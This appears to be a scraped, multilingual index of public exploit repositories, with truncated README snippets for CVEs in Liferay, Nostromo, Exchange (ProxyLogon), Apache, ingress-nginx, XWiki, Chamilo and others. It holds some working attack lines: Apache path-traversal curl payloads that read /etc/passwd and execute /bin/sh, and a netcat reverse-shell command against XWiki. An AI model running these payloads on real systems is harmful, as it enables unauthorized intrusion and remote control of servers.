CVE-2020-7961

CVE-2020-7961 Script d'exploitation pour CVE-2020-7961 Exécution de code à distance non authentifiée via JSONWS Références et inspirations article de blog original : https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html article de blog synacktiv :...

CVE-2019-16278-Nostromo_1.9.6-RCE

CVE-2019-16278 - Nostromo 1.9.6 RCE Script Python pour exploiter la RCE dans Nostromo nhttpd = 1.9.6. Aide usage: CVE-2019-16278.py -h -t TARGET -p PORT -c COMMAND -b BYTES Exploit pour CVE-2019-16278 - Nostromo 1.9.6 RCE optional arguments: -h, --help affiche ce message d'aide et quitte -t TARGE...

Elementor-3.18.0-Upload-Path-Traversal-RCE-CVE-2023-48777

Ce depot n’a pas de fichier README...

ProxyLogon

ProxyLogon Pour Python3 ProxyLogonCVE-2021-26855+CVE-2021-27065 Serveur Exchange RCESSRF-GetWebShell usage: python ProxyLogon.py --host=exchange.com [email protected] python ProxyLogon.py --host=exchange.com --mails=./mails.txt args: --host: adresse de la cible. --mail: courriel d'un...

Peyara-FileUpload

Название эксплойта: Peyara Remote Mouse v1.0.1 — неаутентифицированная произвольная загрузка файлов Дата: 2025-01-06 Автор эксплойта: tmrswrr Ссылка на ПО: https://peyara-remote-mouse.vercel.app/ Платформа: Windows Версия: v1.0.1 Протестировано на: Windows 10 USAGE : python3 combinedscript.py...

CVE-2022-22947-Rce_POC

CVE-2022-22947-RcePOC Détection par lots d'URL pour Spring-Cloud-Gateway-CVE-2022-22947 Utilisation py Spring-Cloud-Gateway.py UrlsPath Après exécution, un fichier gateway.log est généré, où "+", "-", "" indiquent respectivement que la vulnérabilité est présente, absente, ou que la requête a écho...

CVE-2024-57366

CVE-2024-57366 Exploit Надёжный эксплойт для CVE-2024-57366, позволяющий удалённо выполнять код на уязвимых маршрутизаторах через обход проверки MAC-адреса и внедрение команд. Это эксплойт после авторизации, требующий включённой функции «Удалённое управление» на маршрутизаторе и пароля...

CVE-2023-24100

CVE-2023-24100-Nuclei-Templates IoT RCE nuclei templates CVE-2023-24100 CNVD-2023-24100...

cve-2021-41773

cve-2021-41773 Vulnérabilité de Path Traversal CVE-2021-41773 dans Apache 2.4.49. RCE POC PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh Suivez-nous Vulnmachines YouTube Twitt...

CVE-2025-25257-Exploit-Tool

Инструмент эксплуатации CVE-2025-25257 Авторы Based on watchTowr Labs, 0xbigshaq, and pwner.gg analyses. Предупреждения For educational purposes only. Use on authorized systems. Modifies database/filesystem. Расширенный инструмент на Python для обнаружения и эксплуатации CVE-2025-25257 Pre-Auth...

CVE-2025-1974

CVE-2025-1974 — IngressNightmare ingress-nginx Введение В данном документе представлено исследование уязвимости CVE-2025-1974 , затрагивающей компонент ingress-nginx validating admission controller для Kubernetes. CVE-2025-1974 — критическая уязвимость CVSS 3.1 9.8, представляющая собой...

cve-2019-0227

cve-2019-0227 Уязвимость удаленного выполнения кода в Apache Axis 1.4 Необходимо настроить listener в msf на локальной машине, а также изменить строки 24-30 в коде ＃Вам нужно изменить эти переменные в соответствии с вашей конфигурацией myip = “ 192.168.0.117 ” ＃IP-адрес вашей машины target = “...

IngressNightmare-PoC

Exploit pour Ingress NGINX - IngressNightmare Ce projet fournit un exploit ciblant des vulnérabilités critiques d'exécution de code à distance non authentifiée RCE dans le contrôleur Ingress NGINX pour Kubernetes, collectivement appelées IngressNightmare. Recherche par Wiz Dans la recherche...

CVE-2020-2551

CVE-2020-2551 Weblogic RCE через IIOP 0x01 Включение IIOP по умолчанию 0x02 Демонстрация PoC...

CVE-2025-24893

PoC pour CVE-2025-24893 — Exécution de code à distance sur XWiki PoC sécurisé PoC pour CVE-2025-24893 : Exploit d'exécution de code à distance RCE sur XWiki pour les versions antérieures à 15.10.11 , 16.4.1 et 16.5.0RC1. ⚠️ IMPORTANT — TESTS AUTORISÉS UNIQUEMENT Ce dépôt contient un projet de...

CVE-2022-0848

CVE-2022-0848 Remote Code Execution RCE в part-db 0.5.11 Измените хост в bash-файле и запустите...

Chamilo-CVE-2023-4220-Exploit

Chamilo-LMS-CVE-2023-4220-Exploit 이것은 Chamilo-LMS의 대용량 파일 업로드 기능에서 발생하는 무제한 파일 업로드 취약점에 대한 익스플로잇입니다. 해당 취약점 위치는 /main/inc/lib/javascript/bigupload/inc/bigUpload.php이며, Chamilo LMS = v1.11.24에 영향을 줍니다. 공격자는 웹 셸을 업로드하여 원격 코드 실행 권한을 획득할 수 있으며, 이후 임의의 파일을 /main/inc/lib/javascript/bigupload/files 디렉터리...

CVE-2025-24893

Обратная оболочка для CVE-2025-24893 python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" Улучшение оболочки 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

MASS-CVE-2024-27956

MASS-CVE-2024-27956-RCE PoC для CVE-2024-27956, SQL-инъекция в плагине ValvePress Automatic. Этот PoC эксплуатирует уязвимость, создавая пользователя в целевой системе и предоставляя права администратора. Став администратором WordPress, можно получить удаленное выполнение кода. Использование git...

CVE-2025-9216

StoreEngine – Puissant plugin eCommerce WordPress pour paiements, adhésions, affiliés, ventes et plus = 1.4.0 - Téléchargement arbitraire de fichiers par utilisateur authentifié Abonné+ Le plugin StoreEngine contient une vulnérabilité dans sa fonctionnalité d'import/export CSV qui permet à tout...